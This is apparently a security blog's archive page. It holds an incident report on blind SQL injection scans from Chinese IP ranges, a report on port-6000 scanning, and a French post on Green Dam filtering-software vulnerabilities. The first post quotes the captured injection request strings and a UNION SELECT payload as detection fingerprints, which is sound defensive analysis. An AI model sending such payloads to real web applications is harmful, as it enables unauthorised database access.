Tag Archives: China

SUC012 : Chinese Blind SQL Injection – hn.kd.ny.adsl

30/04/2010Opportunists, Use CasesBotnet, China, Database, SQL injectionwow

Use Case Reference : SUC012
Use Case Title : Chinese Blind SQL Injection
Use Case Detection : IDS / HTTP logs / SQL logs
Attacker Class : Opportunists
Attack Sophistication : Unsophisticated
Identified tool(s) : No
Source IP(s) : Most of 115.48.0.0/12 and ChinaNet
Source Countries : China
Source Port(s) : Random, but static source port when scan is initiated
Destination Port(s) : 80/TCP

Possible(s) correlation(s) :

Random SQL Injection Tool with some Google dorking capabilities

Source(s) :

We have some targeted Blind SQL Injection focusing on some randoms URLs, and all the time the same three parameters. We have actually make a list of different IP addresses, all located in China (hn.kd.ny.adsl), and more particular from the Henan province. All theses source IP addresses generating 30 distinct events. The 22/04/2010 events are not related with this Use Case.

Theses Blind SQL Injection scans are detected by Emerging Threats Snort rules, more precisely the 2011040 “WEB_SERVER Possible Usage of MYSQL Comments in URI for SQL Injection“, and also by the rule 2006446 “ET WEB_SERVER Possible SQL Injection Attempt UNION SELECT“.

1 Month TOP 10 source IPs for SID 2011040

1 Month TOP 10 source IPs for SID 2006446

When starting the Blind SQL Injection scan, the source port stay static during 26 of 30 events and the last 4 events are have also a static source port, but different from the initial 26 events. We have also seen that some source IP only test doing 10 events, all these teen events with the same static source port.

For examples :

115.52.225.227 – hn.kd.ny.adsl – Beijing – China – User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

source port : 60865 (26 events)
source port : 61446 (4 events)

1 week 115.52.225.227 SIG 2011040 events

123.161.77.52 – Beijing – China – User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

source port : 21703 (26 events)
source port : 22035 (4 events)

115.52.227.129 – hn.kd.ny.adsl – Beijing – China – User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

source port : 24431 (26 events)
source port : 25206 (4 events)

1 month 115.52.227.129 SIG 2011040 events

hn.kd.ny.adsl is well know on Internet for malware, spam, etc. activities.

The 3 source IP addresses replay exactly the same HTTP Blind SQL Injection sequences, you can find them here under. This Blind SQL Injection Tool has maybe an Google Dorking capability.

/forum/index.php?autocom=blog&blogid=1&showentry=46/**/aND/**/8%3D8
/forum/index.php?autocom=blog&blogid=1&showentry=46/**/aND/**/8%3D3
/forum/index.php?autocom=blog&blogid=1&showentry=46%27/**/aND/**/%278%27%3D%278
/forum/index.php?autocom=blog&blogid=1&showentry=46%27/**/aND/**/%278%27%3D%273
/forum/index.php?autocom=blog&blogid=1&showentry=46%25%27/**/aND/**/%278%27%3D%278
/forum/index.php?autocom=blog&blogid=1&showentry=46%25%27/**/aND/**/%278%25%27%3D%273
/forum/index.php?autocom=blog&blogid=1&showentry=46/**/XoR/**/8%3D3
/forum/index.php?autocom=blog&blogid=1&showentry=46/**/XoR/**/8%3D8
/forum/index.php?autocom=blog&blogid=1&showentry=46%27/**/XoR/**/%278%27%3D%273
/forum/index.php?autocom=blog&blogid=1&showentry=46%27/**/XoR/**/%278%27%3D%278

/forum/index.php?showentry=46&autocom=blog&blogid=1/**/aND/**/8%3D8
/forum/index.php?showentry=46&autocom=blog&blogid=1/**/aND/**/8%3D3
/forum/index.php?showentry=46&autocom=blog&blogid=1%27/**/aND/**/%278%27%3D%278
/forum/index.php?showentry=46&autocom=blog&blogid=1%27/**/aND/**/%278%27%3D%273
/forum/index.php?showentry=46&autocom=blog&blogid=1%25%27/**/aND/**/%278%27%3D%278
/forum/index.php?showentry=46&autocom=blog&blogid=1%25%27/**/aND/**/%278%25%27%3D%273
/forum/index.php?showentry=46&autocom=blog&blogid=1/**/XoR/**/8%3D3
/forum/index.php?showentry=46&autocom=blog&blogid=1/**/XoR/**/8%3D8
/forum/index.php?showentry=46&autocom=blog&blogid=1%27/**/XoR/**/%278%27%3D%273
/forum/index.php?showentry=46&autocom=blog&blogid=1%27/**/XoR/**/%278%27%3D%278

/forum/index.php?blogid=1&showentry=46&autocom=blog/**/aND/**/8%3D8
/forum/index.php?blogid=1&showentry=46&autocom=blog/**/aND/**/8%3D3
/forum/index.php?blogid=1&showentry=46&autocom=blog%27/**/aND/**/%278%27%3D%278
/forum/index.php?blogid=1&showentry=46&autocom=blog%27/**/aND/**/%278%27%3D%273
/forum/index.php?blogid=1&showentry=46&autocom=blog%25%27/**/aND/**/%278%27%3D%278
/forum/index.php?blogid=1&showentry=46&autocom=blog%25%27/**/aND/**/%278%25%27%3D%273
/forum/index.php?blogid=1&showentry=46&autocom=blog/**/XoR/**/8%3D3
/forum/index.php?blogid=1&showentry=46&autocom=blog/**/XoR/**/8%3D8
/forum/index.php?blogid=1&showentry=46&autocom=blog%27/**/XoR/**/%278%27%3D%273
/forum/index.php?blogid=1&showentry=46&autocom=blog%27/**/XoR/**/%278%27%3D%278

Other SQL injection fingerprints

'%20and%205=6%20union%20select%200x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E,0x5E5B7D7E%20--%20And%20'6'='6

If you have any informations around theses SQL injections and more in particular the used tool, please contact me on Twitter or comment this post.

SUC003 : Events from static source port 6000/TCP

23/04/2010Opportunists, Use CasesChinawow

Use Case Reference : SUC003
Use Case Title : Events from static source port 6000/TCP
Use Case Detection : Firewall / IDS
Attacker Class : Opportunists
Attack Sophistication : Unsophisticated
Identified tool(s) : Unknown
Source IP(s) : Random
Source Countries : Most of China
Source Port(s) : 6000/TCP
Destination Port(s) : 135/TCP, 1080/TCP, 1433/TCP, 1521/TCP, 2967/TCP, 3127/TCP, 3128/TCP, 8000/TCP, 8080/TCP, 9090/TCP

Possible(s) correlation(s) :

Worm Dasher

Sources :

Same as many other Honey Net, we detected activities with static source port 6000 in destination of above destination ports.

This 6000/TCP port, is well know for targeting Microsoft-SQL-Server 1433/TCP, but has involve to target Oracle 1521/TCP.

Since a few days, source port 6000/TCP is targeting new destination ports : 8000/TCP, 8080/TCP and 9090/TCP.

Most of time these trends are given by Firewall reporting, but an IDS how is configured to report activities on non used TCP, or UDP, ports, could also trigger alerts. If you use the Emerging Threats “Known Compromised Hosts” and “Recommended Block List“, correlation between Firewall activities and IDS signatures will give you a better overview on the attacker.

Source port 6000 source countries repartition

Source port 6000 destination ports repartition

Le mur de Chine s’effrite. Green Dam Youth Escort

24/06/2009VariousChinawow

Le 19 Mai 2009, le Ministre de l’Industrie et des Technologies de l’Informations (MIIT) de Chine a envoyé une note à tous les constructeurs d’ordinateurs de son intention d’obliger l’installation de logiciels de filtrage sur tous les nouveaux PC installés en Chine, et ceci dès le premier Juillet 2009. Le logiciel en question, nommé “Green Dam Youth Escort“, est un produit de la société Jinhui Computer System Engineering.

L’objectif officiel de ce filtrage est protéger les jeunes contre l’accès à des contenus subversifs afin d’avoir un Internet Chinois sain et harmonieux, sic.

Green Dam se mets à jour automatiquement, tous comme les logiciels d’antivirus, en recevant des mises à jour des sites bloqués. Il est tous de même possible de désactiver ou de désinstaller ce logiciel avec les droits administrateur Windows. De plus, suivant l’éditeur de Green Dam, il est aussi possible de désactiver la “blacklist” avec un mot de passe propre au logiciel, ou encore de mettre les sites bloqués dans une liste blanche permettant ainsi tous de même l’accès aux sites considérés comme subversifs.

Green Dam, en Mars 2009, a été télécharger près de 3,27 millions de fois, installé sur 518 000 ordinateurs scolaire, et environ 1,16 million de PC l’utilisent.

Ce logiciel de filtrage n’a malheureusement pas tenu très longtemps face à la curiosité de chercheurs en sécurité informatique.

Le 11 Juin 2009, Scott Wolchok, Randy Yao, et J. Alex Halderman de l’Université du Michigan aux Etats-Unis, ont découvert plusieurs vulnérabilités dans ce logiciel de filtrage chinois.

La première vulnérabilité se situe dans le module de filtrage en lui-même et permettrait à un internaute malveillant de prendre le contrôle de l’ordinateur hôte du logiciel Green Dam. La deuxième vulnérabilité se situe dans le module de mises à jour des règles de filtrage, qui pourrait permettre à l’éditeur de Green Dam, ou à une partie tierce de prendre contrôle de l’ordinateur de l’utilisateur final. De plus il est aussi à noter, que malgré la désinstallation possible du logiciel, les fichiers de logs d’accès, ou de tentatives d’accès à des sites subversifs ne sont pas supprimés.

D’ici à ce qu’un exploit soit créé, il ne fallait qu’un seul pas, et c’est ce qui est arrivé. Il est maintenant possible de trouver l’exploit sur Milw0rm, intégrable à MetaSploit, permettant de prendre la main sur les ordinateurs utilisant Green Dam.

Tous ce billet, pour finalement dire à mes voisins français, que la loi Hadopi va sûrement imposer l’installation d’un mouchard sur vos PC personnel, est-ce que cela ne vous fait pas penser à un pays et à un billet présent sur ce blog

Eric Romang Blog

aka wow on ZATAZ.com

Tag Archives: China

SUC012 : Chinese Blind SQL Injection – hn.kd.ny.adsl

SUC003 : Events from static source port 6000/TCP

Le mur de Chine s’effrite. Green Dam Youth Escort